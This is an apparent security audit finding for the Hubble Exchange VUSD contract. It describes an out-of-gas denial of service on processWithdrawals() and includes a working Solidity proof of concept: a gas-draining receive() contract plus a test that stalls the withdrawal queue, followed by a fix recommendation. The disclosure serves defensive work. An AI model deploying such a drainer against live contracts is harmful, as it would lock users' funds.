0x3e84fa45

high

# Out of Gas DoS on processWithdrawals() make VUSD funds non-withdrawable

## Summary
During a `processWithdrawals()` execution, a malicious actor can consume the majority of the gas through a fallback and leave the remaining unforwarded gas insufficient to complete execution. This would force the `processWithdrawals()` to revert leaving the user's funds locked in `VUSD`.
## Vulnerability Detail
Users burn their `VUSD` to queue up a withdrawal transaction with the burned amount into the withdrawal queue, and `processWithdrawals()` executes the withdrawals along the queue sending the withdrawal amounts through an unprotected low-level call.

```Solidity
 function processWithdrawals() external override whenNotPaused nonReentrant {
        uint reserve = address(this).balance;
        require(reserve >= withdrawals[start].amount, 'Cannot process withdrawals at this time: Not enough balance');
        uint i = start;
        while (i < withdrawals.length && (i - start) < maxWithdrawalProcesses) {
            Withdrawal memory withdrawal = withdrawals[i];
            if (reserve < withdrawal.amount) {
                break;
            }

            (bool success, bytes memory data) = withdrawal.usr.call{value: withdrawal.amount}("");
            if (success) {
                reserve -= withdrawal.amount;
            } else {
                emit WithdrawalFailed(withdrawal.usr, withdrawal.amount, data);
            }
            i += 1;
        }
        // re-entracy not possible, hence can update `start` at the end
        start = i;
    }
```

This low-level call has no gas limit, and therefore based on [EIP-150](https://eips.ethereum.org/EIPS/eip-150) forwards `63/64` available gas to the contract address being called. We can therefore take advantage through a fallback and spend the forwarded gas, leaving `1/64` of the initial gas to finish the `processWithdrawals()` execution.

Depending on the block gas limit and the length of the remaining queue, `1/64` of the gas will or won't be enough to completely halt execution. An attacker could just queue up several withdrawal transactions, which would spend `63/64` of the remaining `1/64` to make sure that the `processWithdrawals()` reverts.

```Solidity
   // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

import "../Utils.sol";


contract GasDrainer {
    receive() external payable {
        useGas();
    }
    function useGas() internal {
        uint256 i = 0;
        while (gasleft() > 1000) {
            i++;
        }
    }
    function withdraw(address target, uint256 amount) public {
        IVUSD(target).withdraw(amount / 5);
        IVUSD(target).withdraw(amount / 5);
        IVUSD(target).withdraw(amount / 5);
        IVUSD(target).withdraw(amount / 5);
        IVUSD(target).withdraw(amount / 5);
    }
}


contract VUSDDos is Utils {
    event WithdrawalFailed(address indexed trader, uint amount, bytes data);

    function setUp() public {
        setupContracts();


    }
    /*
        remember you can place multiple gas drainers after each other.
        since each external call passes on 63 / 64, after just 4 calls you have

        (1 / 64)^4 = 1/16777216  of the original gas left

        For a gas limit of 30 mio that would be 1.7 gas left. Not enough for an external call.

    */

    function testUseUpAllGas() public {
        uint256 amount = 25e6;

        // gas drainer contract stop processing withdrawals
        GasDrainer drainer = new GasDrainer();
        mintVusd(address(drainer), amount);
        mintVusd(address(this), amount);
        drainer.withdraw(address(husd), amount);
        husd.withdraw(amount);

        // withdrawal request fails
        // vm.expectRevert(bytes(""));
        husd.processWithdrawals{gas: 1_000_000}();
    }

}

```
## Impact
This would render the `processWithdrawals()` useless, locking user funds in `VUSD`.
## Code Snippet
https://github.com/hubble-exchange/hubble-protocol/blob/d89714101dd3494b132a3e3f9fed9aca4e19aef6/contracts/VUSD.sol#L65C4-L85C6
## Tool used

Manual Review

## Recommendation
Setting a reasonable and proportional gas limit for each low-level call, so that no single transaction consumes all gas.
Ultimately, changing to a pull pattern.